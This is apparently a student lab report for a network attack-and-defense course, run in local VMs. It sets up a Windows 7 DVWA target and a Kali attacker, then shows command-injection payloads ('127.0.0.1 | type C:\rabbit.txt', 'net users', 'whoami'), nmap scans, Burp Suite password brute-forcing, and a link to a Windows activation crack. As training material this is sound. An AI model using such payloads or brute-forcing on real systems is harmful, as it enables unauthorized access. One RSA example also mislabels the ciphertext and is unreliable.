网络攻防实训报告

当前进度1.0 by.dayi

更新地址:https://type.dayiyi.top/index.php/archives/96/

任务一:kali作为攻击方,安装一个win7,安装一个dvwa作为靶机

安装虚拟机 win7

pic

  • pic
  • 秘钥不用填

    pic

  • 等待简易安装完成:

    image-20221203114139404

    image-20221203114623067

安装vmware tools(可选,但是推荐)

vmware tools 可以实现直接从虚拟机和实体机拖文件,提升帧数,自适应分辨率,但是此步骤目前看,坑稍微多一点。

懒猴子版本

dayi意识到下面的有点麻烦,所以直接弄了个懒猴子版本。

  • 下载这个文件:(服务器带宽有限制,如果你下载成功了,欢迎通过qq分享文件给你的好朋友)

  • 关闭虚拟机
  • 打开虚拟机设置

    • 删除软盘(可选)

      pic

    • 替换DVD文件到刚刚下的文件

      pic

  • 开机
  • 打开此电脑(win+E),如果显示找不到什么东西,就右键这个打开就好啦

    image-20221203130540541

    点这个打开就可以。

    image-20221203131650814

  • 依次打开这两个文件

    过程中可能会重启多次。

    先点1,再点2就可以啦,把两个文件都安装好就可以。

    image-20221203131736259

  • 更新:火狐浏览器也可以装一下
  • 再次重启就OK啦
  • 成功安装

    image-20221203131825421

我是勤快的小兔子
如果你上面做完了,这里的1-11就不用了
  1. 先把虚拟机关机
  2. 编辑虚拟机设置 -> 删除软盘,然后修改到光驱选项为自动检测

    image-20221203114806438

    image-20221203114825064

    1. 修改光驱为自动检测

      image-20221203114849315

    2. 保存,然后开机,如显示什么没有连接,什么的直接选是就行。

      image-20221203114944032

    3. 保存,然后开机
    4. 右键是这里,然后选安装vmware tools

      image-20221203115056021

    5. 打开计算机(下面的那个文件管理器)

      image-20221203115156951

    6. 双击或者选择这个文件,根据电脑性能不一样打开的速度不一样,稍微等一下就可以。

      image-20221203115234634

    7. 安装上这个软件,一直点下一步就可以。

      如果有问题就重新开下这个安装程序就可以啦。

      pic

      1. oh我的上帝,win7太老了,你的软件太新了,如果出现这种情况怎么办。(当然是直接放弃啦)

      image-20221203120428953

      1. 如果你遇到了10的问题

        • 下载一个浏览器吧,IE太老了,现在支持太差了

          • 用IE打开 ie.sogou.com

            image-20221203122639721

          • 欢迎网上冲浪
        • 如果你的win7不能联网

          • 最简单的,你重新装一下vmware workstations,杀毒软件不要再做优化,安装过程都允许。

          • 进入服务(win+r 输入services.msc),把vmware的所有服务都开启。

            • 这里有同学发现vmware的服务被删除了,那样就重装vmware吧(不要用2345了吧)
            • 然后 在vmware里面:编辑->更改设置(可选)->还原默认设置

              image-20221203123255637

        • win7打开这个网站:https://www.catalog.update.microsoft.com/search.aspx?q=kb4474419

          • 输入网站太麻烦?

          • 什么证书不认点确定就行。

            下载这个:image-20221203123454671

          • 然后安装这个就行

            1

          • 重启一下即可,然后重新安装vmware tools

激活win7(不必要过程)

此过程用于学习和交流,不得用于任何商业用途,有米可以支持正版。

小马OEM_https://p.dabbit.net/blog/pic_bed/OEM-8a29f1e7-a056-485c-9c6d-32528d48ae0d-154177649.zip

  • 如果你已经安装了vmware tools 直接这样就可以。否则可以参考上面的步骤先安装浏览器,也可以尝试IE直接打开,然后下载这个文件。
  • 拖~

    image-20221203132050574

  • 启动文件之后开始体验正版PWP

    image-20221203132147798

  • 右键桌面个性化->左边的桌面图标设置,可以把计算机调出来

    image-20221203132412689

  • 桌面右键计算机->属性,可以看到嘿嘿嘿啦

    pic

安装PhPStudy

  • 群文件版本,这是老师给的老版本(写完我才发现他给了个2016):

    这个版本默认似乎不会开机自动启动,如果重启之后找不到,到这里来:C:\phpStudy (安装目录)启动即可
    • 先安装微软常见运行库

      • 在群文件里,叫微软运行库合集

        下一步,然后等一下,有可能会重启一下。

        image-20221203140758449

    • 打开这个文件:

    pic

    • 修改D到C

      pic

    • 有个弹窗选是就可以
    • 启动完之后如图,你记得把你的两个调成绿的(点击:启动)

      image-20221203141003187

  • 【其他版本】下载phpstudy 版本

    • 链接:https://www.xp.cn/download.html 下载选择64位就可以

      image-20221203132614253

    • 然后把下好的文件拖到虚拟机里,没法拖可以试试复制粘贴。如果你没装vmware tools,就用win7浏览器打开即可,如果有问题请参考懒猴子版本。
    • 下完之后拖到虚拟机里。打开安装包(安装包在压缩包里)
    • 点击自定义,把D改成C

      image-20221203133805450

      pic

    • 立即安装
    • 安装好之后直接点这个。防火墙弹窗都要允许访问哦,忘了的话之后有问题就直接把防火墙关掉。

      image-20221203134408576

    • 这样就行了

      pic

    • 点击网站

      image-20221203135331443

image-20221203135354859

火狐浏览器的安装

你也可以直接通过IE浏览器打开 ie.sogou.com 下载搜狗浏览器

如果你已经安装好phpstudy,那么打开后大概这样子:

输入网址:http://127.0.0.1/ 或者 http://localhost/

如果你装的是8版本,那么打开内容可能不一样,但是不应该出现无法打开网页。

image-20221203142029831

安装DVMA

安装(复制粘贴)

写到这,我发现他好像给了个phpstudy2016,那样的话,用两个版本都可以啦。

如果你用的是2016版本,在这里打开根目录。

开始安装

火狐浏览器或者IE或者搜狗浏览器打开:

如果你服务器是nginx 则需要注意区分目录大小写
http://localhost/dvwa/
http://127.0.0.1/dvwa
这两个基本上是等价的

pic

修改参数

有很多需要更改的地方

  • 打开url_include

    image-20221203143219692

    自动重启或者手动重启之后,刷新一下网页,发现:PHP function allow_url_include: Enabled变成绿色的了

创建数据库

  • 创建数据库

    数据库默认密码 用户名:root 密码:root
    • 创建数据库dvwa,注意区分大小写
    • Mysql->快速创建

      image-20221203143950581

      image-20221203144148705

    • 确认数据库已经创建成功

      火狐浏览器打开网页http://localhost/phpMyAdmin/

      用户名:root

      密码:root

      点击执行:

      image-20221203144447689

      左边有了dvwa就可以啦

      image-20221203144534621

  • (可选)修改数据库root密码

image-20221203143452113

​ 原密码应该是root(我也是第一次用phpstudy),我就改成root了。更新:刚查的,是root。

​ 原密码填写root

image-20221203143525771

修改DVMA数据库信息

打开目录,如果你的不是在这里,你稍微对应一下就可以。

C:\phpStudy\WWW\dvwa\config

image-20221203144930050

打开config.inc文件

image-20221203145031115

将这数据库用户密码修改为你自己的

这里我没有修改默认数据库密码的,就是rootroot

pic

然后保存就可以啦

再刷新一下这个网页

http://localhost/dvwa/setup.php

pic

都是OK的,这样就可以开始安装了。

这里有同学问了,那个reCAPTCHA 也是红的,你咋不去修一下。

这个reCAPTCHA是google的验证码,就是给你9个图让你找防火栓的那个东西。由于国内连接google不稳定,以及申请reCAPTCHA APPKEY 超级麻烦,这里就不做了。

那样会带来什么缺失:登录的时候没有验证码。

image-20221203145615937

提示都是successful,然后会自动跳转。

image-20221203145734999

登录名:admin,密码 :password

pci

你看这里,显示logged as admin就可以啦!

pic

安装kali

这里可以一步一步的装,也可以用官方的vmware 虚拟机文件,打开即用。

使用官方的虚拟机包

我也觉得这是懒人包

解压 这个文件 ,这个文件之前传到群文件啦

kali-linux-2021.3-vmware-amd64.7z

解压之后打开里面的vmx

开机就好啦,用户名kali,密码kali

手动安装kali (推荐动手试一试哦)

这里是重新安装一次kali,用官方的vmware的版本的话,这一步可以直接忽略掉。

不过新版的kali好好看

真的好好看!!是不是超好看

image-20221203203751290

下载镜像
开始安装
  • 新建一个虚拟机,DVD镜像就选上面这个链接下载的文件就好啦。系统的换选Linux 5.11内核或者Debian 10 Debian11

    image-20221203162449460

  • 启动
  • 我选了图形界面安装,也就是第一个选项
  • 语言的话,兼容性好一点其实选择英文比较好

    image-20221203162553699

  • 安装界面倒是挺好看
  • 用户名设置一个就好啦,我这里设置了kali密码kali,域名不用填写
  • 一直下一步就可以啦

    1

  • 稍等片刻。
  • 然后工具选择默认的就可以啦

    image-20221203163523766

  • kali安装起来还是挺慢的,看你的电脑的性能啦
  • 设置引导分区:选sda就可以image-20221203164330654
安装完成后的微调
  • 再次安装vmware tools(意义不大|可选)

    • 这里其实不用啦,如果你安装正确的话,并且没有修改过多的虚拟机参数,会自动安装open-vm-tools,这样就可以复制文件啦。也可以自己安装一下。
    • 等待kali开机之后,登录上之后,随便复制个文件试一试,发现是没有问题滴!

      image-20221203165931985

    • 呃..如果你还是想装一次的话

      DVD连接之后,切换这个镜像文件,如果你的vmware安装的时候切换了目录的话,可以换一下

      C:\Program Files (x86)\VMware\VMware Workstation\linux.iso

      命令如下

      sudo su #切换到root
      cd /media/cdrom #进入光盘目录
      cp VMwareTools-10.3.23-16594550.tar.gz /tmp #复制到内存盘 注意,此处的文件名可能不一样
      cd /tmp 
      tar -xzvf VMwareTools-10.3.23-16594550.tar.gz #注意,此处的文件名可能不一样
      cd vmware-tools-distrib
      perl vmware-install.pl
      
      #然后一路回车就可以啦

      最后大概这个样子

      image-20221203173941124

添加中科大镜像源

打开终端

如何粘贴?

ctrl+shift+v

sudo su
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak

#下面两行一起复制
sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list

cat /etc/apt/sources.list
#↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦

sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
sudo apt-get upgrade -y

image-20221204031254556

在kali上玩一下DVWA(可选)

序幕

先看一下windows 7 的ip地址

如何打开cmd -> 开始键+R 输入cmd ,然后按回车
  • 在cmd里面输入

    ipconfig /all

    image-20221203172652065

  • 也可以右键网络图标->打开网络和共享中心->打开本地连接

    image-20221203172507577

    点击详细信息,然后记录下IPV4的地址

    image-20221203172604969

    我这里的IP是192.168.226.128

    我们就开始吧

上号

卡里的左上角有一个火狐浏览器,我们打开它。

  • 尝试一下是否可以打开这个网页。
  • 在kali的浏览器里输入:http://192.168.226.128/

    如果打不开,尝试关闭windows的防火墙,以及开放域名到0.0.0.0

    image-20221203174347213

    发现没有问题滴

  • 登录到这里:

    http://192.168.226.128/dvwa/

    还记得用户名吗?

    用户名:admin
    密码:password

    image-20221203174648996

登录成功!

image-20221203174816314

调整难度

默认的难度是CVE难度,有点值钱,所以我们切换到最高难度Low

在左边选DVWA Security

然后难度选择Low就可以啦,记得点提交(Submit)

image-20221203175030237

指令注入小游戏

藏兔子
  • 在windows7的C盘藏一个小兔子

    image-20221203175422745

    image-20221203175449231

  • 我们的目标就是,在kali上,通过网页存在的漏洞来访问这个文件。
什么是ping

在windows的cmd里面,我们可以通过指令ping来探测网络的状况,如果主机收到了ping请求(ICMP)则会告诉你,它收到了。

比如:ping rabbit.dayiyi.top这样可以测试rabbit.dayiyi.top服务器是否能通,以及来回的延时是多少

image-20221203180135982

这样,我们就可以来获得一些基本的网络信息

windows cmd下的&

在cmd中 & | 这类可以连接两个命令,两个命令都会得到执行。

如图:通过运行:ping rabbit.dayiyi.top & ping dayi.ink

可以发现,两个命令都已经执行了

image-20221203180458114

windows 下的type

如果文件是文本文件,可以通过type 文件名来显示文件的内容

image-20221203180734965

于是,这样子可以在cmd中获得文件内容。

如果我们把文件通过一定的方式进行编码,比如base64等,这样做之后,不论什么文件,我们理论上都可以通过type命令获得全部的内容。

回到kali
  • 选择左边的Command Injection指令注入
  • 观察一下,网站提供给了大家一个ping命令,可以用来帮你用他的网络,来检测网络。
  • 我们尝试一下输入rabbit.dayiyi.top

    image-20221203180944780

    虽然中文乱码了,但是我们还是可以辨认出煮这是什么,以及发现了:

    • 这个功能可能是直接通过windows 的cmd的调用来实现的
  • 如果我们将上面的两个理论加以利用

    • 也就是

      127.0.0.1 | type C:\rabbit.txt
      或者
      rabbit.dayiyi.top | type C:\rabbit.txt
  • 这样子,会发生什么?

    1

你好像发现了什么神奇的东西,对吧?

这好像是我们之前藏在服务器上的文件。

如果这个可以看到,其他的同样可以看到。

其他的利用的简单举例
  • 显示系统用户

    127.0.0.1 | net users

    image-20221203181842402

  • 查看当前用户

      127.0.0.1 | whoami

    image-20221203181858560

  • 查看桌面文件

      127.0.0.1 | dir C:\Users\dayi\Desktop

    image-20221203181935511

    这个东西就是所谓的——远程代码执行。

    执行的是管理员用户,可以直接提权到SYSTEM用户,如果提权到SYSTEM用户,整台电脑的访问权限就完全完全拿下了。

任务二:通过nmap对于靶机进行扫描分析靶机相关信息

NMAP概述

原文链接:https://nmap.org/man/zh/index.html

Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。

Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是 open(开放的),filtered(被过滤的), closed(关闭的),或者unfiltered(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。 filtered(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是 open(开放的) 还是 closed(关闭的)。 closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的) 如果Nmap报告状态组合 open|filteredclosed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

目标机IP位置:192.168.226.128

也可以直接扫描整个网段:192.168.226.0/24

通过命令sudo su切换到root用户,其他的不进行修改

wireshark 的抓包过程中:

  • 有些过程中屏蔽了以下IP:

    • 192.168.226.2 NAT的虚拟网关、虚拟DNS
    • 192.168.226.1 宿主机IP

简单扫描靶机

当防火墙开启的时:

通过nmap的扫描:

nmap 192.168.226.128

可以发现靶机的两个端口处于开放状态

  • 80 http
  • 3306 mysql

image-20221203190044677

如果关闭防火墙:

image-20221203214312142

再次扫描:

可以发现一些windows常见的接口也可以扫描出来

image-20221203214423994

如果进行抓包(在后面的-sS参数 章节。可以发现,一种是被忽略,一种是服务器返回了RST包)

参数:-sn通过ping扫描整个网段

kali运行

sudo su
nmap -sn 192.168.226.0/24

pic

如果用wireshark的抓包,可以发现,ping扫描其实是发送的ARP包,对所有的IP进行广播。

image-20221203200554199

而如果进行跨网段ping的时候:

除去DNS的查询,还有几个包

  • ICMP ping包(ECHO)
  • TCP SYN 端口443
  • TCP ACK 端口80
  • ICMP timestamp

image-20221203204256342

参数 --packet-trace

可以显示packet的追踪的发送与答复以及过程,与wireshark抓包抓到的结果一样

nmap -sn a.dayiyi.top --packet-trace

image-20221203205224337

image-20221203205452987

参数: --traceroute 路由追踪显示所有路由

nmap --traceroute 39.105.181.66

image-20221203185646946

参数:-p 指定端口

nmap 192.168.226.128 -p 1-1024,3306 #--packet-trace

1

参数:-sS TCP SYN扫描 也被称为半连接扫描

nmap 192.168.226.128 -p 1-1024,3306 -sS #--packet-trace

image-20221203210906657

分析

通过wireshark抓包可以得到

nmap 192.168.226.128 -p 80 -sS --packet-trace

ARP广播之后,

  • 发送 SYN包
  • 服务器返回SYN+ACK
  • 发送RST 重置连接

image-20221203211333702

如果对于无法访问/不能确定/关闭的端口:

nmap 192.168.226.128 -p 81 -sS --packet-trace

image-20221203211445152

发送两个SYN包,没有得到回应

image-20221203211417893

将windows7的防火墙关闭:

如何关闭windows 防火墙?

控制面板\系统和安全\Windows 防火墙 ->打开或关闭防火墙

将两个全部关闭即可

重新扫描81端口

image-20221203211634691

观察可以发现,判定为close的端口

  • 发送SYN包
  • 服务器返回 RST ACK
  • 判定端口已经关闭

image-20221203211721601

后期补充:

查阅文档(https://nmap.org/man/zh/man-port-scanning-techniques.html):

-sS (TCP SYN扫描)

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态

它常常被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文, 就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。如果数次重发后仍没响应, 该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

跟实际的情况一样,并且更好理解啦

参数:-sU UDP扫描

nmap -p U:53 223.5.5.5 -sU

image-20221203212243206

抓包分析:

实际过程比想象的复杂的多。

nmap先通过SYN半连接扫描,然后再发送UDP包(被wireshark识别为DNS包)

image-20221203213228917

尝试扫描54,避免识别为DNS包

image-20221203213341404

得到的结果大致发送了一个空包。

查阅官方文档:

原文链接:https://nmap.org/man/zh/man-port-scanning-techniques.html

UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。 偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。 如果几次重试后还没有响应,该端口就被认为是 open|filtered(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

参数:-sT TCP connect扫描

也算是一种全连接扫描。

在没有权限发送原始报文或者在IPV6下的常见的方法

简单扫描:

nmap -sT 192.168.226.128

我感觉比我想象的扫描要快,不知道为什么

image-20221203215005991

对80端口扫描:

image-20221203215059881

wireshark抓包,是一个全连接。

image-20221203215130938

对81端口(关闭端口,防火墙开启)

nmap -sT 192.168.226.128 -p 81

image-20221203215247076

防火墙没有回复

也许是虚拟机NAT虚拟网卡的关系导致的扫描速度感觉和理论有些差距?只是一个猜测啦

参数:-sA ACK扫描

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

发送ACK,看看服务器有没有反馈,进而判断端口有没有被防火墙屏蔽。

  • 如果被屏蔽了ACK包可能会被忽略
  • 如果没有屏蔽ACK包会返回TCP RST
  • 即便是端口开放,也是会忽略包滴

实际测试

nmap -sA 192.168.226.128 -p 81

image-20221203220422890

把防火墙关闭:

nmap -sA 192.168.226.128 -p 81

image-20221203220720717

就会有RST返回啦

参数:-sF -sN -sX

依旧是一种判断防火墙的方法

如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。除了探测报文的标志位不同,这三种扫描在行为上完全一致。

谁遵守规定谁吃亏系列

  • -sN 不设置任何标志位 TCP flag 0
  • -sF 只设置TCP FIN
  • -sX 设置FIN PSH URG

    就像点亮圣诞树上所有的灯一样。

对于windows返回的是TCP RST+ACK

直接找个linux服务器扫:

nmap -sN a.dayiyi.top -p 443
nmap -sF a.dayiyi.top -p 443
nmap -sX a.dayiyi.top -p 443

主要的包是在15 、16号包

image-20221203222018388

image-20221203222120022

image-20221203222214705

发现可能因为有防火墙的缘故,所以都没有有返回的信息

最终获得的信息大概率也是前面的半连接获得的

对于windows,这个不是特别准确,即便是80已经开放,扫描出的结果是close

nmap -sX 192.168.226.128 -p 80

image-20221203222628995

NMAP 应用程序信息扫描

  • 更新nmap

    sudo su
    apt-get update
    apt --only-upgrade install nmap -y

    如果有信息,选YES就可以

    image-20221203223341615

  • 简单扫描(参数-sV)

    nmap -sV 192.168.226.128

    扫描结果还是比较准确滴

    image-20221203223545223

  • 其他的参数

    • --allports所有端口
    • --version-intensity <intensity> 版本强度
    • --version-light 相当于 --version-intensity 2更快
    • --version-all 相当于 --version-intensity 9
    • --version-trace 显示调试信息 相当于--packet-trace
  • 来个阴间参数

    nmap -sV --version-intensity 5 192.168.226.128 --version-trace

    image-20221203224543520

NMAP 操作系统信息扫描

参数
  • -O (启用操作系统检测
  • -A 同时启用操作系统检测和版本检测
  • --osscan-limit已经发现过TCP端口,直接用就好啦,省时间
  • --osscan-guess 默认启用,猜测
开扫
nmap -O 192.168.226.128

image-20221203224928526

扫描个linux机器,此机器dayi授权了,随便扫。

nmap -O a.dayiyi.top

还是听准确滴

image-20221203225340048

再扫一个

nmap -O co4.dayi.ink

这个机子是debian 11,还是有偏差的

image-20221203225824896

杂项

TTL

数据包存活时间(Time To Live)

每跳跃(hop)一个节点、路由,就会减一。

直到减少到0,如果减少到0,路由器便会取消该封包转发,并且可能会向原封包的发出者传送一个ICMP TTL封包以告知跃点数超限。

各类操作系统 32 64 128 均有

DF

IP协议中:Don't Fragment 是IP协议的首部的标志位位置

  • DF = 0 则允许分片
  • DF = 1 不允许分片

MF(More Fragment)

  • MF = 1 表示还有分片
  • MF = 0 这已经是最后一个

通过wireshark的抓包信息:

具体信息如下:

image-20221204015036607

Windows Size

窗口大小,是TCP堵塞控制的一种方法,在出现堵塞的情况时,TCP会尝试调整窗口大小。

同时,窗口大小也算是TCP的一个缓冲区,当缓冲区满了的时候,会发送ACK

image-20221204020126566

ACK

Acknowledgment number

ack序号的生效需要有FLAGS内:ACK=1

这个数字式通信中希望从另外一个设备得到的下一个数据包的序号。

image-20221204020341542

大部分系统会把ACK的序号,设置为回应包的数字

image-20221204022732488

FIN

TCP

  • ack(确认号)
  • seq (序号)

当flags

  • ACK=1 ack有效
  • SYN=1 请求连接
  • FIN=1 释放连接

TCP释放链接的时候

  • 客户端发送 FIN ACK seq=80=t | ack=u | 客户端放开进程,请求释放链接
  • 服务端发送 ACK seq=u | ack=80+1=81=v |服务器同意释放,半关闭状态
  • 服务端发送 FIN ACK seq=u | ack=80+1=81 =v |没有更多数据需要发送了,服务器应用进程通知TCP释放
  • 客户端发送 ACK seq=81=v ack=u+1|客户端收到释放请求,同意释放

image-20221204021414849

任务三:使用burp对于访问dvwa的数据进行抓包改包

这个任务其实主要是玩Burpsuite

更新软件包(可选)

burp suite 也会一起更新
  1. 不管三七二十一,先更新下软件包吧(挺慢的)可以喝茶去,我甚至觉得有点恐怖。

    sudo apt-get upgrade -y

    如果更新要是太慢了就CTRL+C,然后再输入一次,或者直接放弃(

    image-20221204024901357

    如果提示选择,就选YES就可。

    image-20221204030205034

    我电信网大概更新了20分钟左右(全程大概10MB/s以上)

    • 太慢?

      尝试更换镜像源到中科大。

      zsh终端如何粘贴?ctrl+shift+v
      sudo su
      sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
      
      #下面两行一起复制
      sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
      deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
      
      cat /etc/apt/sources.list
      #↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦
      
      sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
      sudo apt-get upgrade -y

      文件内容如下:

      image-20221204031254556

登录到dvwa

  1. 登录

    http://192.168.226.128/dvwa/index.php

    image-20221204103951271

修改难度

  1. 选择难度,这次选择为中等
    image-20221204104015727

    然后点击提交

开始抓包,爆破

  1. 进入爆破登录:

    Brute Force

    1212

  2. 打开burp suite

    pic

  3. 建立临时项目,打开的时候如果有对话框点YES即可

    image-20221204104256235

  4. 使用默认设置即可

    image-20221204104346414

  5. 为了让我们的流量能被burp suite捕获,打开burp的代理设置

    记下这个代理服务器的地址:这里是127.0.0.1:8080

    image-20221204104454568

  6. 打开截断功能

    image-20221204110758823

  7. 修改火狐浏览器的设置,让火狐浏览器走代理

    划到最下面

    image-20221204104602818

    image-20221204104636421

    填写代理信息:

    image-20221204104744978

    点击保存(OK)

  8. 回到burpsuite,切换到到intruderimage-20221204105315971
  9. 我们提交一个表单,让burpsuite捕获

    记得刷新
    http://192.168.226.128/dvwa/vulnerabilities/brute/
    • 尝试打开之后,会卡住。
    • 打开burpsuite,发现包捕获成功

      image-20221204110957592

      但这个包不是需要修改的,所以就直接forward即可。

    • 模拟登录

      点击登录

      image-20221204111215877

    • 依旧网页没有响应,这时候burp suite会弹出来 ,如果没弹出来就点一下下

      内容大概如下:

      image-20221204111720032

    • 我们右键,然后send到intruder

      image-20221204111816298

      分析表单:

      如图:

      image-20221204112100588

  10. 我们发现需要修改的地方有两个,一个是用户名,一个是密码,其他的地方不需要进行爆破
  11. 神奇的dayi告诉你,有个用户名叫做:

    • 用户名:gordonb
    • 密码:?

    于是我们尝试对这个用户进行爆破

  12. 修改爆破表单,有些内容我们每个表单都一样,就删掉这个符号即可

    image-20221204112704627

  13. 添加字典

    这里用了常见密码的前1w

    字典下载:

    https://www.somd5.com/download/dict/top1w.zip

    备用下载地址:

    https://p.dabbit.net/blog/pic_bed/top1w_4d8229a2-7384-11ed-a1eb-0242ac120002.zip

    字典下好之后放到虚拟机里

    image-20221204113417558

    image-20221204113437990

  14. 放进去

    如下
    image-20221204113502537

    image-20221204113617498

  15. 开始爆破!

    实际上因为是社区版,爆破速度超级慢

    如果想提高速度可以使用氪金版,学习版(仅供学习),或者python代码

    image-20221204113656149

  16. 我们按服务器返回值进行排序

    image-20221204113839841

    发现这个包与众不同

    image-20221204113901789

    诶!

    这可能就是我们要找的东西啦!

    image-20221204113959938

  17. 查看提交的表单,密码是abc123

    我们赶紧试试,能不能登上去

试试能不能上号

  1. 关闭火狐的代理

    设置->通用->最下面:

    image-20221204114147215

  2. 用户名是:gordonb 密码是:abc123

    可以登录成功啦!

    image-20221204114255833

  3. 可以开个无痕

    image-20221204114752716

    没问题啦

    image-20221204114806909

公钥私钥体系

RSA

1.形式

有公钥和私钥

1.单项计算容易,但逆向很难

模运算是单项函数

计算 `

$$ 3^3 mod 7 =6 $$

很容易

但是知道

$$ 3^xmod7=6 $$

计算x很难

2.加密

对于一个数

$$ m^e mod N =c $$

其中e为秘钥,c为密文

3.解密

$$ c^d mod N = m $$

其中d是解密的秘钥

4.变换

将两个公式合并,可以得到

$$ m^{ed} \; mod \; N =m $$

那么可以得到

$$ m^{ed}\; \equiv \; m $$

引入

欧拉函数:

$$ φ(p)=p-1 $$

其中p为质数

如果(p,q)=1,有这个性质

$$ φ(p*q)=φ(p)*φ(q) $$

不知道为啥

这里解释一下为什么可以这么推

首先有欧拉定理:

$$ m^φ(n)\equiv 1 (mod \; n) $$

可以在等式的两端同时取k次幂

$$ (m^{φ(n)})^k\equiv 1^k (mod \; n) $$

然后等式两端同时乘以m

$$ m^{kφ(n)+1} \equiv m \; (mod \; n) $$

然后模运算变形

$$ m^{kφ(n)+1} \; mod \; n = m $$

这个式子和这个类似

$$ m^{ed} \; mod \; n =m $$

可以得到

$$ ed=kφ(n)+1 $$

然后可以选取k,n,e来获得d

然后

我们可以知道

$$ d = \frac{kφ(n)+1}{e} $$

此时,如果e=3

取一个p=17,q=23,其中(17,23)=1

那么可以得到

$$ φ(17*23)=φ(391)=352 $$

e=3,k=5

$$ d=\frac{kφ(n)+1}{e}=\frac{5*352+ 1}{3}=587 $$

这样

e:公钥

d:私钥

都有啦

然后把 e:公钥n:公布

例子

当前

公钥e=3,私钥d=587,n=391

要加密的数据为97

$$ 97^3 \; mod \; 391 = 79 $$

97为加密后的密文

解密:

$$ 79^{587} \; mod = 97 $$

还原

用了587这个秘钥

嗯,暂时就这样啦

补充

e需要满足:

$$ 1<e<φ(n) $$

$$ (e,φ(n))=1 $$

还有这个性质

$$ m^{kφ(n)} \; mod \;n =1 $$

其中n为前面欧拉函数的计算结果

RSA 密钥身份验证

CA

CA中心为每个使用公开密钥的用户发放一个数字证书,数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书,因此是安全电子交易的核心环节。在SET交易中,CA不仅对持卡人、商户发放证书,还要对获款的银行、网关发放证书。
  • 证书的内容包括:电子签证机关的信息、公钥用户信息、公钥、权威机构的签字和有效期等等。目前,证书的格式和验证方法普遍遵循X.509国际标准。
  • 加密:CA认证将文字转换成不能直接阅读的形式(即密文)的过程称为加密。
  • 解密:将密文转换成能够直接阅读的文字(即明文)的过程称为解密。

实际上最比较常见的是https的证书。

用openssl向CA发送CSR,CA同意之后,回送证书。

pic

pic

社会学攻击

利用人的弱点来进行攻击。

从广义上讲,社会工程学是操纵人们放弃敏感信息的做法。社交工程学攻击可能当面发生,例如盗匪装扮成送货员闯入建筑物。本文将重点关注社会工程学网络攻击。在大多数情况下,此类攻击旨在使受害者泄露登录凭据或敏感的财务信息。
  • 发送虚假的电子邮件
  • 诱骗用户登录网站
  • 联系用户,声称自己是百万首付等等

任务四:使用MSF对靶机进行漏洞利用并获得靶机信息进行密码破解

装一个新的WIN7

为什么要这么做?

因为我们是利用的漏洞,但是漏洞是会被修复的。还记得我们打的部分补丁吗?实际上你装其他软件的时候也可能会自动修复漏洞。

我们之前对上一个WIN7,做了很多修改,因此,为了更稳定的利用漏洞,我们直接装一个2011年的win7。

这样可以确保我们的漏洞尽可能的可能执行。

快速安装即可

  • 新建虚拟机->自定义高级->16.x及以下版本->
  • 光盘选择:cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso->
